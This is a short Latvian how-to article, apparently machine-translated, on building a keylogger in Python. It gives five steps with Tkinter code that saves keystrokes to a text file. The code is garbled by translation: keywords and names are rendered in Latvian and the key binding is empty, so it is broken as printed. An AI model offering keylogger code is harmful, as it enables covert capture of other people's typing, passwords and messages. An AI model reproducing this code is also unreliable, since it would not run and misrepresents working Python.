Kā izveidot Keylogger, izmantojot Python

Sieviete pie datora skatās pāri plecam

Uztveriet taustiņsitienus un saglabājiet tos failā.

Attēla kredīts: Jupiterimages/Photos.com/Getty Images

Varat izveidot taustiņu reģistrēšanas programmu, izmantojot Python, lai tvertu taustiņu nospiešanu, kas ievadīta, izmantojot datora tastatūru. Taustiņu nospiedumi tiek saglabāti teksta failā, un tajā tiek ierakstīta visa ievade. Varat izmantot atslēgu reģistrētāju, lai pārraudzītu darbības savā datorā.

1. darbība

Palaidiet IDLE, noklikšķiniet uz izvēlnes "Fails" un atlasiet "Jauns logs", lai atvērtu jaunu logu. Nospiediet Ctrl un S, lai atvērtu logu "Saglabāt kā". Izmantojiet "getKeyLogger" kā faila nosaukumu un noklikšķiniet uz "Saglabāt".

Dienas video

2. darbība

Pievienojiet šo koda rindiņu, lai importētu "Tkinter" nosaukumvietu un definētu faila ceļu, kuru vēlaties izmantot, lai reģistrētos:

importēt Tkinter kā tk myFile = open ("C:/temp/keyFile.txt", "w")

3. darbība

Nokopējiet un ielīmējiet šo kodu, lai saglabātu failā katru taustiņu:

def taustiņu nospiešana (notikums): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4. darbība

Pievienojiet šādu kodu, lai lietotājs zinātu, ka viņš var sākt rakstīt un ka viņš var nospiest Esc, lai beigtu programmu:

galvenais = tk. Tk() print "Nospiediet jebkuru taustiņu (Escape taustiņš, lai izietu):" main.bind_all('', nospiediet taustiņu) main.withdraw() main.mainloop() myFile.close()

5. darbība

Noklikšķiniet uz "Windows" sākuma pogas un lodziņā "Meklēt programmas un faili" ierakstiet "cmd". Nospiediet Enter, lai atvērtu komandu uzvedni. Dodieties uz "C:\Python" un ierakstiet "python getKeyLogger." Nospiediet Enter, lai palaistu programmu. Dodieties uz "C:/temp/" un veiciet dubultklikšķi uz "keyFile.txt", lai skatītu taustiņu nospiešanas datus.